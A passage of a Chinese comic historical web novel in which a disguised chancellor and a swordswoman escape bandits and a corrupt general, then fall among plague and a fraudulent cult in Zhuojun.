他的话被外头的响动打断,原来是一小喽啰飞也似的跑来,来了便跪,口中道:“大王!山下来了数百官军,刘将军来剿匪了!” “什么!”那山大王猛地站起来,大手一挥,“还不快快有请!” 众人听闻官军来剿匪,先是一喜,听了这句话,又都呆了。那山大王自顾自传令诸人,准备酒菜者谁谁,宰羊杀牛者谁谁,备好礼品者谁谁……各人领命而去。又转过身对裴预等人道:“你们好福气!碰上刘将军来。” 几人面面相觑,老赵挤出一个笑容,哆哆嗦嗦道:“是、是,大王可是要放了我等?” 那山大王露出一个暧昧的微笑,也不回答,往后面虎皮大凳上一坐,意味深长道:“你们可知,你们是谁?” 一句话问的几人丈二和尚摸不着头脑,老赵张了张口:“这,我们,种地的呀……” “胡说!”山大王一拍扶手,声如雷吼,“土匪!” “啊?”老赵懵了,“谁是土匪?” “你是土匪!” “我是土匪?!” “给他们换衣服!杀了让刘将军带回去!”那山大王又是一声狮吼,起身大步流星离开。一个小喽啰赶忙跑过来——他是专门负责准备礼品的——将裴预等人带了下去。 “幸好你们来了,不然又得抽签出人。”他碎碎念,眼皮一抬望着他们,“走呗,磨叽什么呢?” 老赵几人早已腿肚子都软了,欲哭无泪道:“大王不是只劫财,不伤人么……怎么……” “嗨呀,那都多久以前的老黄历了,”小喽啰不耐烦地一摆手,“现在官军隔三差五就要来,放了你们,我们怎么办?” 裴预从方才起就一言不发,到此时,面沉如水,终于开口:“你是说官军要拿我们充人头。” 那小喽啰上上下下打量他一眼:“呦,这还有个明白鬼。” 山寨发展到这规模,又是在京师附近,没有官军来剿,那是不可能的。官军一来,就要好酒好肉地招待他们,还要交出十几二十个人,给他们回去交差,在战报上写:“某年某月某日,出兵剿匪,大获全胜,杀匪若干。” 如果不交人,官军就没法写“若干”,只能写“某年某月某日剿匪无功而返”,这样就显得大家能力很差,办事不力,可是要影响仕途的。这可不行,官军就只好真刀真枪跟他们干。所以,人,一定要交,交了才能他好你好我也好。 但这样就又有一个问题:自家兄弟,叫哪一个去送死都不合适。于是大王制定了一个好法度:有那过往行商,便将他们掳上山来,充作给官军的人头,唤作“羊毛”。“羊毛”若是能活着 7. 第7劫 脱困 《太子野奔》全本免费阅读 裴预一听这话,原本已经怒极,现在更是脸色发青:果不出他所料,韩一成那老匹夫宣称他死了。他铁青着脸喝道:“胡说什么!”见刘侃一副吓得魂不附体的样子,又怒道:“愣着作甚,还不快给本相解开?!” 刘侃面如土色,一叠声道“末将该死。”又抖着手去解裴预腕上的麻绳。那麻绳是打了死结的,他两手如何解得开?便又扭头骂那山大王,叫他赶紧滚来松绑。一阵兵荒马乱之后,刘侃忙把裴预让到酒席上座,他自己却不敢坐下,站在下首,点头哈腰地问裴相您如何会在此处? 裴预却不搭理,整整衣袖,伸手欲往桌上拿什么,一见上头的都是酒碗,皱了皱眉。刘侃忙冲周围吼道:“天杀的没点眼色,还不快给裴相上茶?!” 等上了茶,刘侃亲自双手捧着奉给裴预。裴预略抿一口,果然味道粗糙,这也难怪,这些土匪哪儿有喝茶的,这点子茶叶还不知是怎么艰难凑出来的。然而可悲的是,他干渴的要命,遇着粗茶也觉甘霖一般。若不是要拿架子,真恨不得一气喝干。 “先把他们送下山。”裴预茶盏离了唇,刘侃立马双手接过,放回桌上。随后直起腰一瞪那山大王:“没听见吗?还不快放人!连同人家的东西分毫都不许差,抬着轿子把人送下去!” 老赵他们从方才开始就惊呆了,都不明白发生了什么,看看端坐淡然的裴预,又看看那俯首帖耳的将军,最后看向那原本魔君一样、此时却忍气吞声的山大王,觉得真是魔幻世界,无奇不有。但他们虽说看不懂发生了什么,听到能回家了,无不感激涕零,跪下朝裴预磕头。裴预摆摆手,又看着老赵道:“别忘了本相交代你的事。” 老赵懵懂地点了点头。 他们一行人走后,裴预又让那山大王放了江蒙。后者自然从命,立马派个小喽啰去放人。那人领命而去,却不想刚到门口,就被另一个冲进门的小喽啰撞了个满怀,俩人摔作一团。 “大王!不好了!”那小喽啰满头是汗,也顾不上疼,一溜烟爬起来禀报,“夫人她跑了!不知道去哪儿了!” 裴预眼睫猛地一抬。 孙猴子竟自己掀开了五指山。他低估了她的能耐。他又垂下眼睫,唇角不自觉地扯了扯。正好,她既逃出去,就算她的造化,虽说她绑了他出来,害他吃了这些苦,但毕竟在黑店时救过他一次,算是扯平。他们现在无冤无仇,以后正好一别两宽。 “那个,裴相啊,”刘侃给他添茶,“您到底是为何会在这儿呢?” 裴预回神,望向那个一脸毕恭毕敬的刘将军,想道:她的麻烦过了,我的麻烦却在这里。 闹了这一阵,天色已将近傍晚,稀薄的日光险险透进来,室内半昏不亮。刘侃满脸堆笑,树皮似的脸皮皱出许多纹路,浸着油汗。那双小而精亮的三角眼里,透出起疑试探的眼光。 “刘侃。”裴预三指捏着茶杯重重放下,面无表情,“你废话太多了。现在跟我回京,你的事,回去再说。” 刘侃点头哈腰,却没有动。他是个机灵人,先前被他唬住,现在恐怕多少有点回过味来。裴预看着他找了个借口和山大王出去,心里着急,面上却不能显,干坐在原地。等刘侃回来,他知道他们已经通过了气。 刘侃在笑着,那山大王也在笑着,两张笑脸两尊金刚似的站在下首,一左一右夹着他。唱起双簧来,说天色已晚,不好叫裴相再赶路,不如就先在山上歇一晚。这话便是杀机,裴预心里已冒冷汗,作出镇定样子喝道:“你怎敢叫本相在土匪这里过夜?!” 刘侃却噗嗤一声笑了。 “这话说得,末将来之前,裴相不是在这山上呆的好好的吗?” 前两日遇刺身亡的裴右相竟然死而复生,大变活人一般出现在这山疙瘩里,刘侃一开始确实被震住,一时间摸不清他的底细,不敢有所动作。但方才了解了来龙去脉,他便将事情猜到了三五分,裴预怎么来的他不知道,但可以确定的是,这右相如今不过是光杆司令,孤立无援。 他是傻子才会带姓裴的回京城,已经大大得罪了他,难道等着这位右相官复原职整死自己?刘侃打定主意,方才在屋外,便对山大王说裴相已经死了,这里的不过是个相貌相似的平头百姓,直接弄死便是。“先前放下山的那些人,务必要一个不漏抓回来。”刘侃狠狠攥紧五指,“不能让他们走漏风声。” 这刘侃的态度与先前来了个大转变,裴预心知不好。他手里没牌,自然不能硬碰,便假装被说服:“既然如此,备一间干净屋子,备好水,本相沐浴休息。” “您请、您请。”刘侃皮笑肉不笑。 小喽啰引路,裴预走在前面,感到身后那两道目光盯着他的背,似乎要戳出一个洞来。出了门,山那边夕阳如血,裴预顺着土路往前走,两旁看守的土匪握着长枪,无数道不怀好意的目光盯着他。 “刘侃,我记得你在王胡子手底下做事?”他道,仍显出镇定自若的样子。他要找到能够打动刘侃的筹码,钱?官位?他要让刘侃相信这些他会给。但后者的精明程度和防备心异常的高,他一时半会儿说不动对方。 裴预发际渗出些冷汗。 再这样下去,就真的要完了。 忽然在前头树林子边缘,他看见了一只……鸡?土匪们会在山上养牲畜,他知道,但这里分明是议事宴请的场所,这鸡是不是溜的太远了? “走水了!走水了!”忽的一阵喧闹! 所有人大惊,裴预猛地侧身抬头望去,见身后依山而建的高大木房上,燃起冲天火光!土匪们惊慌失措地鱼贯而出,“要塌了!”地喊着,乱作一团。火舌撩着屋顶的干草,噼里啪啦作响,挂着的牌匾支撑不住掉下去,轰的一声。 “救火!”山大王怒吼一声,带着人就冲过去。 裴预又听到了鸡叫声,他猛回头望着那只黄棕色的胖鸡,紧接着在它的上方,在后方幽暗的树林里,看见红彤彤似在跃动的一点。那一瞬间福至心灵,他迈步朝旁边跑去,一声“太子躲开!”随即传来。 “他跑了!”刘侃顿时抽出利剑! 他要追,却有一支火箭歪歪斜斜地射到他脚前,吓得他一蹦三尺高。就在这一犹豫的功夫裴预又跑出好远,站着的小喽啰两只眼睛恨不得一只望向火场,一只望向裴预,犹犹豫豫不知道到底去哪儿。“都给我追!”刘侃挥着剑破口大骂,“让他跑了你们都得死!” 裴预用尽全身力 8. 第8劫 涿郡 《太子野奔》全本免费阅读 藏了一晚上的月亮,此时逐渐露出脸来。借着微弱的月光,裴预看见那颗乳白色的、还冒着热气儿的鸡蛋。 他肚子登时“咕”的叫了一声。 这不能怪他没出息。从前天晚上起算,客栈那顿晚饭他没吃下多少,还是有毒的,到了昨天中午才吃了几个果子,就继续赶路。昨天晚上喝的凉水,吃的干馍。今天早上同样。午间为了早点过山,队伍没有吃饭,继而就被绑到了山上。到现在明月高悬,后半夜了,他也就喝了两口茶。 现在眼前出现了一颗鸡蛋。 两人就地生火,江蒙把泥巴裹到蛋上,放进火堆。裴预盯着那颗黑乎乎的泥球,江蒙拿着根树枝不断翻动,等到泥巴干透,把它挑了出来。 “喏,分你一半。” 裴预忙伸手接过,不知为何,又鼻子一酸。 他落泪实在很漂亮,在银雾般的月光中,俊美眉目都显得柔软,被眼泪濡湿,更显得脆弱。一串晶莹透明的泪珠顺着白皙脸庞往下滑,聚在下巴,点点滴滴落。 相比之下江蒙却显得没心没肺,脸上不仅没有丝毫沮丧,相反很高兴。她是真的很高兴,鸡蛋太香了,她猛地吹了两三下,就迫不及待地往嘴里塞。 “哭啥呀,”她被烫的倒腾舌头,话音都不清楚,“咱大难不死,又没缺胳膊少腿儿,肚子里有食儿,身上有衣裳护体,脚下有鞋子走路,还要什么!” 裴预破涕为笑:“你要的未免也太少!” 他伸手揩掉眼泪,捧着那晶莹滚烫的半颗鸡蛋,小心地往嘴里送——好烫!但是好香。乳白如玉的弹嫩的蛋白里头,金灿灿的蛋黄半凝不凝,他学着江蒙,鼓起腮帮猛猛朝它吹气,然后咬下一口,蛋白嫩滑蛋黄如油,浓郁的香气在齿间迸发,咽下去,从喉咙到肚子暖呼呼的。 对面的江蒙也一脸满足,吃完了,把接在手里的蛋黄渣都吸到嘴里,咂摸两下,喝了口山泉,心满意足地“啊”了一声。 又找了个几个果子,饱餐一顿,她两个就朝山下走。江蒙抱着翠花,心情很不错,开始唱歌:“月亮粑粑,肚里坐个嗲嗲……”一扭头对裴预说:“唱啊!” 裴预拄着根树枝小心翼翼伸脚下去:“我不会啊。” “跟我学!” 她唱一句,裴预在后头跟一句,起先不太好意思,只轻轻地唱,后来就放开,唱的起劲。山间树木丰茂,一股草木清香,薄雾蒙蒙,已经隐隐有天光。一路唱一路下山,日头升起,到了大路上。 在红彤彤一轮朝阳前,竟立着一头骡子。 裴预擦了擦汗,和江蒙对望一眼。朝阳把她的面庞映的发红,汗湿的发丝被清风吹起,眼睛闪闪发亮。 这骡子脖子上拴着铃铛,看来是老赵他们队伍的,估计土匪来时跑到山里,这会儿又跑了出来。从白马降级到骡子,江蒙却显得很高兴。她跟裴预说,这叫马骡,是公驴和母马杂交生出来的,比马力气大、耐力好,而且吃的还比马少,还不容易生病。汉朝那会儿,这可是宝兽呢。她满意地摸着骡子的鬃毛,拉住辔头,就想骑上去。 那骡子却立马走开,“哎?哎?”江蒙一条腿跨在它背上下不来,另一条腿蹦了好几步,最终一屁股摔到地上。 裴预憋笑。 江蒙灰头土脸地爬起来,那骡子停在一边,黑溜溜湿润的眼睛瞅着她。江蒙闷声走过去,拉着辔头再一次跨上去。 当然就是再次摔了个屁股蹲。 骡子那股倔劲儿跟驴是一模一样,江蒙别说骑它,就连牵着它走都不行。她碰了一鼻子灰,终于接受了自己驯服不了它的事实,蔫头耷脑地往前走——这时它却又自己跟了上来。 把江蒙气够呛。 但此人非常嘴硬,坚持认为骡子比马好。“马肉多酸哪,”她憋了半响说,“骡子肉又鲜又嫩。” “你比它还犟。” 从山上下来后乱跑一气,连江蒙也不知道这条是什么路了,那骡子却像认得似的,迈开蹄不紧不慢往前走,见他们不动弹,还停住,似乎是在等他们跟上来。江蒙望了望天,反正它走的确实是南边,方向是对的,索性跟着它走,走到哪儿算哪儿吧。 裴预跟她并排,问起她是如何逃出来的,江蒙登时来了劲,一手握拳,跟他夸耀她是多么的猛,一拳放倒给她更衣的小喽啰,夺回刀逃了出来。她小心地躲起来,看见了裴预他们被带进一处房子,说到这里,她问:“那伙贼人怎么突然把老赵他们放了?” 裴预只说自己用太子身份压的,江蒙没想到他自己不跑,反而先护着老赵他们跑,带着赞赏叹息道:“没想到你还挺仗义。”裴预只厚着脸皮接受了这夸赞,便又听江蒙继续说,看他有危险,急中生智,便想到了这火烧连营、围魏救赵之法。 她一连用了仨成语,裴预都惊了:“这又是你们村秀才教你的?” 江蒙摇头:“我爹教我的。” “令尊如何会教你这些?” 农家女子,要么学习农事生产,要么学针线女红,怎么会让她学舞刀弄棒、兵法诡计呢? “我爹可是大侠。”江蒙自豪地说,“他会的可多了,刀枪棍棒斧钺钩叉,啥都会,啥都教了我,可惜我才学到刀,他老人家就过世了,所以其他兵器我只是粗通。” 裴预慌忙道:“节哀。” 江蒙摆了摆手,不甚在意。跟着骡子一面走,一面跟他说她爹的故事,原来江父年轻时乃是一名游侠,孤身纵横九州,遇见那不平事,便拔剑相助,人称之为“江大侠”。 直到碰见了她母亲,便在一山清水秀的小村庄里安居下来,再不问江湖事。 江蒙绘声绘色地说着江大侠怒杀狗官的故事,裴预一面听得入迷,恨不得拍案叫绝,一面又觉得脖子有点凉。 “哎呀,骡子,你怎么把我们带到这儿来了?”江蒙停住脚。 裴预仰面远眺。 只见前方一座城,城门上牌匾两个大字: 涿郡。 机关算尽是无缘,命里若有,竟是得来全不费工夫。裴预又是狂喜又是感叹,心中五味杂陈。 他随即停 9. 第9劫 好人 《太子野奔》全本免费阅读 到了城门处,裴预和江蒙感到些异样:铜钉大门半掩,两个守门士兵面上都戴着白色布巾,挨个盘查要进城的百姓。他们前面有个拉板车的农夫,板车上躺着个人,盖着被,只漏出散乱的发髻。裴预离得很近,听见那人不停咳嗽。 “回去吧,你们那儿来的不让进。”守兵对那农民说道。 任凭那农民如何哀求,守兵就是不让他们进,江蒙忍不住问了一嘴,那守兵没好气地答道:他们那儿近来闹瘟疫闹得厉害,若是把病气带到城里怎么办? 裴预一惊,赶紧离那板车远了一些。 进城之后,便是车水马龙、十分热闹了。街道宽敞,两旁酒肆茶歇、小摊小贩吆喝不绝。往来行人大多脸上蒙着布巾,使得江蒙二人显得格格不入。 江蒙先到市场卖骡子,价钱都谈好了,就要一手交骡一手交钱的时候,那畜牲却发出一声杀猪般的嘶鸣,挣脱了江蒙,飞也似地狂奔而去。 众人惊呆,愣愣地看着骡子的背影。 买家立马收回钱:“姐们儿我先走了。” 买卖泡汤,裴预心里有点惴惴,怕江蒙说不去熏风楼了。她却低头站了一会儿,叹口气,说咱们先去,到时候看看店家愿不愿意让咱们干活抵饭钱。实在不行我去街上卖艺,总之一定让你吃上这顿饭。 裴预大喜:“他们必定愿意。”何止愿意,直接免单啊。 他现在觉得江蒙这人,还不错,实诚,良善,有担当。只可惜走歪了路,等他回京,帮她救出那几个村民,好好教导一番后放了她算了。 已过正午,两人终于站在了熏风楼前,这条街与方才进城时又不同,显然是达官贵人出行之所,街上行人穿着绫罗绸缎,两旁皆是三层高楼,这座熏风楼尤为气派,红墙绿瓦,门楹用蓝色金色彩漆画了吉祥图案,屋檐下大红灯笼两串,垂着金黄穗子。 二人都觉又困又饿到了极点,恨不得立刻进去狼吞虎咽一顿。可天不遂人意,那两扇雕花木门却紧紧锁着。 裴预一颗心倏忽沉了下去。三两步迈上台阶到门前,狠狠拍了两下:“人呢?!” “别拍了!”睡在台阶下晒太阳的叫花子嚷嚷起来,“吵死了。” “你管我?!”裴预扭头怒道。 旁人不知,他却知道,别家店或许有关门歇业的日子,但熏风楼乃是情报枢纽,断不会关门。眼下大门紧锁,空无一人,怕是听见他已经死了的风闻,树倒猢狲散了。 这是他最害怕的情况。 裴预崩溃之际,打街那头行来一匹黑马,径直停到楼前,下来一个黑衣、草编斗笠的人。他也走到门前,见大门紧闭,扭头问那叫花子:“店家哪里去了?” 叫花子懒懒的:“早先老板说要探亲,收拾收拾都去豆城了。特地叫我在此告诉新老顾客。喏,偏有个傻子不听,在那砸门呢。” 裴预一下子放下手。 豆城。豆城?!他心下道一声坏了,怎么忘了这茬,他们现在一定是去豆城找他了,偏他又阴差阳错来了涿郡,两边正好错过。不过也好,总算自己人知晓他并没有死,以后总能想办法营救。 裴预定了神,那边江蒙已和人攀谈起来,那人听着年纪不大,自称是许昌人士,家族行十九,故称叶十九。因不喜读书,三年前到京城经商,积累下些资产,便准备返乡娶亲成家。两人聊得投机,那人听说了江蒙从土匪处脱身之事,眼睛都亮了,直夸英雄。听见她们身无分文,便慷慨解囊,要请她们吃饭。 几人便在不远处的一座酒楼落座,那叶十九取下斗笠,终于露出真容。 竟是个极貌美的少年。 面若敷粉、唇如点朱,一双柳眉星目,好个芙蓉郎君。 不说江蒙,就连同为男子的裴预,都看的一惊:天下竟有如此标致的少年,只怕自己年少时也比不过。再看江蒙,果然一幅呆样了。低头看看自己,一夜奔逃,身上粗布衣裳破破烂烂,伸出手来,指甲缝里竟也有了黑泥。 裴预如遭雷击。 那边两人已经聊的甚欢,句句投机,倒像个前世的知己,不一会儿已称姐道弟。叶十九出手阔绰,一桌好菜好酒,亲自斟酒一杯敬上,江蒙抬手谢绝:“贤弟莫怪罪,愚姊平生最厌这口。” 裴预正失魂落魄地拿茶水洗筷子,听见她居然“贤弟”、“愚姊”地拽文词儿,起了一身鸡皮疙瘩。他却不知道,江大侠算是儒侠,江蒙耳濡目染,也懂得一些场面话,只是生性粗犷,平时不爱说罢了。 叶十九一笑,也不怪罪,拿回来要自己喝,却一失手,那杯子直直掉下去。江蒙一伸手接住,还给他,又以茶代酒,敬他一杯。 说话间,酒楼大堂前头的方桌前站上一位说书先生,响木一拍:“今个儿给大伙讲讲,当今右相裴元度的轶事……” 听见自己的名字,裴预从方才那凄凄惨惨戚戚中醒过来,挺了挺脊背,有些志得意满起来。不管怎样,他可是最受皇上宠信的右相,说书人口中的是他裴预。叶十九是谁?没听说过。 说书人绘声绘色地讲起来,裴预一听,原来是说的他摆琼华宴的事儿。 彼时他刚满二十岁,被提拔为右相,双喜临门,便好好费心操办了生日宴。说书人描绘的肉山酒池,什么西域的驼峰,东海的龙肝,北山的熊掌,南涯的凤髓。风雅如张、素的真迹,绮丽如三丈高的珊瑚……属实不合事实,这些东西好弄,他宴会上的东西却不易得。“足足花了——”说书人卖了个关子,“二十万两雪花银哪!” 台下一阵哗然。 裴预听了这话,心中暗笑,到底是乡野人没见识,区区二十万两,买来在席上唱戏的昆曲班子都不止这个数。刚要和江蒙取笑一番,却见她脸色铁青,额头暴筋,握拳“砰”地锤了下桌子:“他妈的这鸟裴预!” 10. 第10劫 瘟疫 《太子野奔》全本免费阅读 倒不是为了江蒙吃醋,只是这厮仗着年少貌美,当着人丈夫的面勾引人家老婆,裴预单纯看不惯这狐媚做派。他这厢怒目而视,那厢叶十九慌忙摆手,说哥哥你这是想到哪儿去了? 原来他不过是看江蒙腰后带刀,想必是个习武之人,跟她一路,又安全,又有话聊,何乐不为呢? “当然若是哥哥想赶我走,我也绝不会缠着姐姐的。” 裴预看他那可怜巴巴样,差点把刚吃下去的饭呕出来,好家伙,碰到个比他还能装的,刚要冷笑发作,江蒙却摆摆手:“没事,他说了不算。” “什么不算。”裴预拽住她手腕把人扯过来,低声道,“无事献殷勤,非奸即盗。这人太可疑了,不能跟他一起。” 江蒙却大不以为意,江湖中人,酒逢知己千杯嫌少,别说约着一块儿走路,就是义结金兰、两肋插刀都是有的,这叫江湖豪气。哪儿像太子这些个有钱人,斤斤计较、防这防那、连至亲都要算计的。再说了,不跟着叶十九,她们哪儿有盘缠回村啊? “那也不行。” “你搞么子,你吃醋啊?”江蒙不耐烦了,忽然恍然大悟,伸出根手指指了指他,“哦,你就是看人家年少貌美又多金,你嫉妒你。” “我嫉妒他?”裴预气的直笑,“我,嫉妒,他?!” 江蒙挥了挥手把他打发了,转身,亲自给叶十九斟了杯酒,把这事敲定。又拍拍胸脯道:“我俩食宿都要你掏钱,我实在过意不去。弟弟一路上有什么喂马、搬行李之类的体力活,尽管吩咐。” 叶十九笑笑:“姐姐说笑了,十九虽不才,这点小钱还不至于放在心上。”说着竟从腰间掏出一锭巨大的银子,看着足有十两,摆在桌上,让小二开两间上房,说今晚留宿,明日一早启程。 几人便住下。 半夜,裴预却觉得身体不对劲。 喉咙又干又痒,总是忍不住要咳嗽。不仅如此,身体也沉重,还觉得寒冷。一开始他以为是劳累过度,可江蒙拿手背贴了一下他额头,被烫的立刻缩回去,才意识到他是起烧了。 江蒙一惊,连忙下楼叫起值夜的小二,让他请郎中来。谁知对方一听,登时变了脸色,离她有二丈远:“他、他、他莫不是得了疫病吧?!” 年前南边的城镇闹起瘟疫,得了疫病的人,先是发烧咳嗽,浑身酸痛,症状与风寒类似,但吃了治风寒的药也没用。最后会咳嗽不停,吐血而死。这个病不仅死的人多,还特别容易传染,离得稍微近点儿,打个喷嚏就能中招。 裴预心里一沉。顿时想到了白日进城时,旁边那个板车上的人。 咳嗽、高烧、畏寒、身体沉重,这分明是疫病迹象。这下店老板也不敢留他们,当即就要把他们“请”走。江蒙本还想跟隔壁的叶十九打声招呼,谁知大半夜的这人却不在,店老板又催得急,只好左手扶着裴预,右手抱着翠花,走出客栈大门。 “我带你去医馆。”她低声说,“你怎么样?” 裴预整个人软在她身上,头枕着她肩头,脑袋昏昏沉沉,闻言从鼻子里“嗯”出一声。忽然想到什么,又挣扎着站直身子,往一旁走。江蒙一惊,拉着他手腕:“你往哪儿去?” “我染上了瘟疫,你离我远点。”裴预有气无力地说道。他被传染了,可江蒙还是好好的,不能再过了病气给她。 江蒙一把将他拉回去。 “我与你同吃同住,早就躲不过了。”她镇定地说,“靠着吧,你现在站都站不稳。” 她说的不假,裴预如今头疼欲裂,双腿发软,若不是硬撑着,早瘫倒在地。他不得不把整个身体的重量压在江蒙身上,到了后来,甚至得让江蒙背着他走。他身材高大,压在比他矮、比他纤细的江蒙身上,都担心会不会压坏了她。可她稳稳走着,侧脸的表情变都没变。 大半夜的找医馆,实在不是件容易的事,好容易敲开门,人家一听裴预的状况,又“砰”的把门关上。裴预昏昏沉沉间睡着,又被冷醒,他们还在大街上游荡,江蒙还背着他,慢慢地往前走。 明月高悬,夜色寂寥,大街上空无一人,夜风时不时拂过,让裴预一阵一阵冷的打寒战。江蒙注意到,把外衫脱下来盖在他身上。她的温度包裹着他,他胸膛紧紧贴着她温热的后背,两手搂着她脖子,忽然就又有些鼻酸。 “江蒙,”他鼻音浓重,“我要死了。” 头痛欲裂,浑身像在火里烧,偏又觉得冷。 他把额头贴到她颈窝,她走了这么久,有些薄汗,被他滚烫额头一贴上去,登时蒸发。“别瞎说。”她道。声音很沉稳。 “我还,没有做成过一件功绩,就要死了。”他低低地说,“你说我是大人物,可我算什么大人物呢?我只是个庸碌之辈,青史上都留不下名字。” ……不,依今天来看,怕是会留下骂名罢。 裴氏名门望族,四世三公,可其实只是锦绣其外,到裴预这一代,已经式微。他的父亲一生没有半点功名,只会游山玩水,年幼时祖父便摸着他的头,叹息道:“元度,莫若尔父。” 他自幼聪慧,博闻强记,过目不忘,所有人都叫他“神童”。祖父偏爱他,甚至说过裴氏的前途皆在此子身上。他那时也是真的这么认为的,裴氏之显耀皆要由他一人挣得。 可会试他竟没有中。 放榜之日下人早早便去看榜,他与祖父坐着对弈,祖父看他心神不宁,取笑他说囊中之物,何须紧张?他也只好笑笑。那天直到傍晚下人才回来,廊前夕阳如血,下人跪着结结巴巴道,没在榜上找到公子的名字。 那一瞬间祖父看他的眼神,和说起他父亲时的眼神,一模一样。 失望、或许还有些嫌恶。 这眼神成了他的噩梦,每每遭遇挫败,那眼神便如影随形出现在脑海。于是他再不敢输,身上背着裴氏的责任,就像被鞭子驱赶的牛,哪怕已经精疲力尽也不敢停,咬牙往前走。他要权力,要地位,要裴氏的荣耀。他的官越来越大,心腹越来越多,他去哪儿都有人恭敬行礼,叫一声“裴相”。 可还不够。他要做一代名相,要千秋万代史册人心里,留下他裴预的名字。于是他主持新政,开疆拓土,为的就是建功立业、青史留名。 “青屎?”江蒙纳闷地说,“你非要在那玩意儿上留名干啥啊,怪恶心的。” 裴预:“咳咳咳咳……”说什么呢。 “为了些个看不见摸不着的东西要死要活,多犯不上啊。”江蒙道,“好好吃饭,好好活着,问心无愧,比啥都强。” 裴预无奈地笑笑。他知道江蒙并不能懂志向、追求这些东西,毕竟,她只是一个小民。世间的大部分人都只是像这样从生麻木地活到死而已,这是正常的,因此裴预并没有继续辩驳。说了 11. 第11劫 神仙 《太子野奔》全本免费阅读 “啥子?我?”江蒙一愣,指着自己,“放心吧大婶,一般的瘟疫传染不了我。我小时候我爹拿药给我泡过。” “不是瘟疫呀,孩子。”大娘叹了口气,神秘地指了指天空,“而是天罚。到时候不止是你们,这地面上所有的人、牲畜、草木,都得死呀。” 什么玩意儿乱七八糟的,江蒙一脑门子懵逼,她挠了挠头:“大婶,我听不懂你在说啥,你就给个痛快话,能不能救救他?” 大婶说,她法力低微救不了,但是大帝他老人家能救。一说到什么“无极大帝”,她身后那些人都露出一副荡漾的神情,大婶更是情绪激动,声音里充满崇拜和感动地介绍起大帝伟大的神迹。 “小妹妹,你也许不信能有人这么神通广大……” “我信我信。”江蒙直接打断她,高兴地背起裴预和翠花就要跟着走,“大婶,现在起我也是信徒。” 被各家医馆拒绝了一晚上,别说大帝,大蹄子她也愿意信,起码给她一个睡觉吃饭的地儿啊。 一帮人到了城郊一处庄子,阳春三月,庄子四周一圈杨柳青青,在绚丽的朝霞中随风柔摆。和城里人人带着面巾、行色匆匆不同,这里的人无不春风满面,见了他们,双手合十问好。 这庄子乃是一位虔诚信徒捐赠出来,用作教众活动,大婶介绍道,她带着众人到一处颇为气派的院子,让他们先进屋休息,稍后去见大帝。紧接着便有几个身着同样长袍的信徒进来,为众人上茶,并且查验身体。 江蒙腰后的那把刀被搜了出来,说是煞气之物,不可带去冲撞大帝,暂且扣押。翠花是牲畜,不洁净,也暂且扣押,等她走时再一并还给她。 “太子、太子。”江蒙轻轻拍拍裴预的脸,把他叫醒喝水。裴预一睁眼:“我死了吗?” “还活着哪。”江蒙高兴地说,“马上就给你治病。” “哦……”裴预以为是终于找到医馆了,勾起嘴角,他额头汗津津的,嘴唇苍白,无力地抓住她手腕晃了晃,“多亏有你……” 他这次精神更加不济,说完就又睡了过去。 “他这是怎么了?”一旁有人问道。 江蒙一扭头,才发现旁边站了个人。他骨瘦如柴、面如土色,甚至断了一条腿,一只裤管空空荡荡的。两人聊起天来,原来这瘸子跟她一样,也是听说大帝神通广大,便跟到这里,希望能够治好自己的腿。 “没事,乌鸡大帝会帮咱们的。”江蒙拍拍他肩膀安慰道。 “无极。”瘸子道,“无极紫薇宫无上至尊自然妙法玄天大帝,玉皇大帝之子,如来座下弟子,东方天庭、西方极乐世界的主人,下凡普度众生的圣者。” “小瘸子,你也太异想天开,你腿不是废了是没了。那大帝难不成还能无中生有?”一个蓝衣妇女道。 对于这个大帝,屋里的人态度并不相同,有些人见证过神迹,深信不疑,这次是抛家舍业来这儿虔诚皈依。有些人则半信半疑,来这里也不过是死马当活马医,碰碰运气而已。 一炷香后,这一屋子各怀心思的人,在那个穿长袍的大婶带领下,走到庄子一处空地,一个像是法坛的地方,站着等待无极大帝现身。 日头逐渐上升,众人等的有些焦急之时,忽闻天上一阵曼妙梵音,从半空中竟降下许多花瓣来。众人都勾头去看,又听见一声拖长音的“大帝降世——”,忙扭头顺着声音望去,就见一阵青烟散去,法坛中央的莲台上,端坐了一位青袍男子。 他面容黑瘦,下巴一撮山羊胡,脊背挺直,宽大青袍无风自动,左手一串佛珠,右手一柄浮尘,颇有世外神仙之感。 众信徒都毕恭毕敬跪下去叩头,他轻轻一抬手,让众人起来。又睁开一只眼,往下瞟着江蒙等人道: “你们所求为何啊?” 一帮人连忙七嘴八舌地嚷起来,大帝不耐烦道:“别吵!养鸡呢跟这儿?一个一个来说。” 一个蓝衣妇女顿时冲出人群,拽住大帝的衣角就开始哭诉,说她夫妇如何怀孕艰难,五十岁了还没有儿子,求老神仙给他们一个儿子。大帝等她哭完安静下来,才拖长声音道:“我不能帮你。” 那妇女大惊失色:“为啥?!” “你不信我。”大帝悠悠道,“心不诚则不灵。” 妇女脸色顿时苍白,有些心虚地低下头,她还想再争辩什么,却有两个长袍信徒走上前来,一左一右把她架走了。 “下一位吧。”大帝捻着佛珠道。 下一个冲出来的是那瘸子,亏他一条腿能跳的那么快,他冲上去倒头就拜,磕了好几个响头,才抬起头求大帝治好他的腿。 “唔。”大帝睁开一只眼看了眼他,又闭上眼,“倒也不是什么难事。” 此话一出,人群顿时骚动,这可是把没了的腿给变回来,他要怎么做到呢?都目光炯炯盯着莲台上的人。只见他一甩浮尘,一旁的信徒得令,立刻拖长声音高声道: “上法器——” 在吟哦声中,一个长袍信徒推出一辆四轮小车,上头摆着一个巨大的葫芦,足有大半个人高。众人从没见过这个大的葫芦,都发出一声惊叹。这葫芦横放在推车上,被切成三扇,中间用合页连接。信徒将最外侧两扇打开,便是个中空的葫芦壳。 “上香——” 一支香点燃,信徒拿着仔细熏遍葫芦,每个角落都不放过,胳膊在那个中空葫芦里穿过来穿过去。乳白色的烟袅袅而上,逐渐充盈整个空间,信徒这才让那瘸子进去。 瘸子一坐到里头,立刻把葫芦填满了,他缩头缩脑地坐着,冲外头众人露出一个微笑。信徒把前后葫芦盖关上,将香插到一边的铜炉里。 他走到无极大帝边上,毕恭毕敬垂首道:“师父,无极紫金葫芦已经备好。” 大帝略一点头,从莲台上跳下来,不紧不慢地踱着四方步,到了那葫芦旁边。他对众人道,这是一件通灵法器,里头没有空间也没有时间 12. 第12劫 软禁 《太子野奔》全本免费阅读 “他说,我是真龙。” “昂。” “他说,我生病是因为邪气缠身。” “准确的说,是妖气。前朝余孽作祟,放出黑山老妖给你灌注妖气,这才导致你生病。而且这妖力很强,大帝昨日只拔除了一部分,只能让你走暂时不会病死。以后大帝定期会来施法拔除,等妖气干净,你的病也就好了。” 